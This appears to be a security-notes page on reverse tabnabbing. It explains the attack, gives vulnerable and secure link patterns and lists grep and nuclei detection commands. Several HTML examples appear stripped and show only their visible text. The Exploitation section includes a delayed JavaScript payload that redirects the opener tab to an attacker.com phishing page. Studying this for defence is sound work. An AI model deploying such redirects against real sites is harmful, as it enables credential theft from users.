# Tabnabbing
Tabnabbing (reverse tabnabbing) allows an attacker-controlled page to rewrite the content of a parent page, typically replacing it with a phishing site.
## How It Works
1. Victim clicks a link that opens in a new tab (`target="_blank"`)
2. The new page has access to `window.opener` (the original page)
3. Attacker's page executes: `window.opener.location = "https://phishing-site.com"`
4. Original tab silently redirects to phishing site
5. Victim returns to original tab, sees fake login, enters credentials
## Vulnerable Code Pattern
```html
Click me
Click me
Click me
```
## Secure Code Pattern
```html
Click me
Click me
```
## Detection
### Manual Testing
```bash
# Find vulnerable links
grep -rn 'target="_blank"' . | grep -v 'noopener'
grep -rn 'target=\\"_blank\\"' . | grep -v 'noopener'
# Check in browser DevTools
# Elements tab → search: target="_blank"
# Verify each has rel="noopener"
```
### Automated Scanning
```bash
# Using nuclei
nuclei -t http/vulnerabilities/generic/tabnabbing-check.yaml -u https://target.com
# Using custom grep on crawled pages
katana -u https://target.com -d 3 | while read url; do
curl -s "$url" | grep -oP ']*target="_blank"[^>]*>' | grep -v 'noopener'
done
```
## Exploitation
### Basic Attack Page
```html
Interesting Article
Loading content...
```
### Phishing Page
```html
Target.com - Session Expired
Your session has expired
```
### Delayed Attack (More Stealthy)
```javascript
// Wait before redirecting (victim less likely to notice)
setTimeout(function() {
if (window.opener) {
window.opener.location = "https://attacker.com/phishing.html";
}
}, 5000); // 5 seconds delay
```
## Attack Scenarios
| Scenario | Description |
| ------------- | ------------------------------------------ |
| Forum posts | User-submitted links with target="\_blank" |
| Comments | Blog/article comment sections |
| User profiles | Profile links to external sites |
| Documentation | Links to external resources |
| Email links | Webmail rendering links |
## Browser Behavior
| Browser | Default Behavior (2024+) |
| ------------ | -------------------------- |
| Chrome 88+ | Implicitly adds `noopener` |
| Firefox 79+ | Implicitly adds `noopener` |
| Safari 12.1+ | Implicitly adds `noopener` |
| Edge 88+ | Implicitly adds `noopener` |
> **Note:** While modern browsers add implicit protection, explicit `rel="noopener"` is still recommended for older browser support and code clarity.
## window\.open() Vulnerability
```javascript
// VULNERABLE
window.open('https://attacker.com');
// SECURE
window.open('https://external.com', '_blank', 'noopener,noreferrer');
```
## Related Topics
* [XSS](/enumeration/web/xss.md) - Can be used to inject malicious links
* [Phishing](/others/social-engineering.md) - Tabnabbing enables phishing
* [CSRF](/enumeration/web/csrf.md) - Related browser security issues
---
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